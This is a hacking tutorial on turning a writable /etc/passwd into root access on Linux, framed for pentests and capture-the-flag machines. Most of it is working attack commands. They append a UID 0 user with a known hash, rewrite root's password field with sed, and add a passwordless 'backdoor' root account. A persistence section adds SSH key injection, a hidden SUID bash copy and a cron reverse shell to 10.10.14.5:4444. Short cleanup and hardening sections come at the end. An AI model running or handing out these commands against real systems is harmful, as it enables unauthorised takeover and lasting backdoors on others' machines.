The /etc/passwd file is one of the most important files on any Linux system. It stores user account information and, in misconfigured environments, can become a direct path to root access. In this tutorial, we will cover how to identify and exploit a writable /etc/passwd file for privilege escalation.
Why /etc/passwd Matters
Every user account on a Linux system has an entry in /etc/passwd. Each line follows this format:
username:password:UID:GID:comment:home_directory:shell
For example:
root:x:0:0:root:/root:/bin/bash
john:x:1001:1001:John Smith:/home/john:/bin/bash
The x in the password field means the actual password hash is stored in /etc/shadow, which is normally only readable by root. However, the /etc/passwd file itself still supports password hashes directly in the second field. This is a legacy feature from the early days of Unix, and it is the key to this attack.
If a password hash is placed directly in the password field of /etc/passwd, the system will use it for authentication instead of checking /etc/shadow.
Checking for Write Permissions
The first step is always checking whether /etc/passwd is writable by your current user. This misconfiguration is more common than you might think, especially on older systems, CTF machines, and environments where an administrator made a mistake with file permissions.
ls -la /etc/passwd
You are looking for write permissions for your user or group:
-rw-rw-r-- 1 root root 1748 Jul 22 10:15 /etc/passwd
The second rw means the root group can write. If your user is in the root group, you have write access. You can also check directly:
[ -w /etc/passwd ] && echo "Writable" || echo "Not writable"
Automated enumeration scripts like LinPEAS and LinEnum will flag this for you, but it is good to know how to check manually.
Generating a Password Hash
Before modifying the file, you need a password hash. The openssl command is available on nearly every Linux system and makes this easy:
openssl passwd -1 -salt xyz password123
This generates an MD5-based hash (-1 flag) with salt xyz for the password password123. The output looks like:
$1$xyz$rLmJxAQb6p0P2czM3S8gP0
For a stronger hash using SHA-512 (if supported):
openssl passwd -6 -salt xyz password123
You can also use Python if openssl is not available:
python3 -c "import crypt; print(crypt.crypt('password123', '\$6\$xyz\$'))"
Keep the generated hash ready - you will need it in the next step.
Method 1 - Adding a New Root User
The simplest approach is to add a new user entry with UID 0 and GID 0. Any user with UID 0 is treated as root by the Linux kernel, regardless of the username.
echo 'hacker:$1$xyz$rLmJxAQb6p0P2czM3S8gP0:0:0:root:/root:/bin/bash' >> /etc/passwd
Breaking down this entry:
hacker- the username we are creating$1$xyz$rLmJxAQb6p0P2czM3S8gP0- the password hash for "password123"0- UID 0 (root)0- GID 0 (root group)root- comment field/root- home directory/bin/bash- login shell
Now switch to the new user:
su hacker
# Enter password: password123
Run id to confirm:
uid=0(root) gid=0(root) groups=0(root)
You now have full root access.
Method 2 - Modifying the Root Entry
If you want to be more direct, you can modify the root user's password field. First, back up the original file (good practice during a pentest):
cp /etc/passwd /tmp/passwd.bak
Then replace the x in root's password field with your generated hash. You can use sed for this:
sed -i 's/^root:x:/root:$1$xyz$rLmJxAQb6p0P2czM3S8gP0:/' /etc/passwd
Now you can su root with the password password123.
Method 3 - Adding a No-Password Root User
For quick access during a pentest, you can create a user with an empty password field:
echo 'backdoor::0:0:root:/root:/bin/bash' >> /etc/passwd
The empty password field means you can switch to this user without any password:
su backdoor
This is obviously very noisy and easy to detect, so use it only when stealth is not a concern.
Persistence Techniques
Once you have root access through /etc/passwd, you may want to establish more reliable persistence:
SSH key injection - Add your public key to root's authorized_keys:
mkdir -p /root/.ssh
echo "ssh-rsa AAAA...your_key... attacker@kali" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
Cron-based reverse shell - Set up a recurring callback:
echo "* * * * * root bash -i >& /dev/tcp/10.10.14.5/4444 0>&1" >> /etc/crontab
SUID shell - Create a SUID copy of bash:
cp /bin/bash /tmp/.hidden_shell
chmod u+s /tmp/.hidden_shell
# Later, run: /tmp/.hidden_shell -p
Cleaning Up
During a professional engagement, always document what you changed and restore the original file when finished:
cp /tmp/passwd.bak /etc/passwd
Remove any backdoor users, SSH keys, or cron entries you added during testing.
Automated Detection
Several tools will flag a writable /etc/passwd during enumeration:
- LinPEAS: Highlights writable sensitive files in red
- LinEnum: Checks file permissions on critical system files
- linux-exploit-suggester: May flag this as a misconfiguration
You can also add a quick check to your own enumeration scripts:
find /etc -writable -type f 2>/dev/null | grep -E "(passwd|shadow|sudoers)"
Defensive Perspective
System administrators should ensure that /etc/passwd is owned by root with permissions set to 644:
chmod 644 /etc/passwd
chown root:root /etc/passwd
File integrity monitoring tools like AIDE or OSSEC can alert on unauthorized changes to this file.
Summary
A writable /etc/passwd file is a straightforward path to root access on Linux. The exploitation is simple, reliable, and does not require any special tools beyond what is already on the system. Always check file permissions on sensitive system files during your enumeration phase - you might be surprised how often this misconfiguration appears.
Happy hacking, and remember to always stay within scope during your engagements.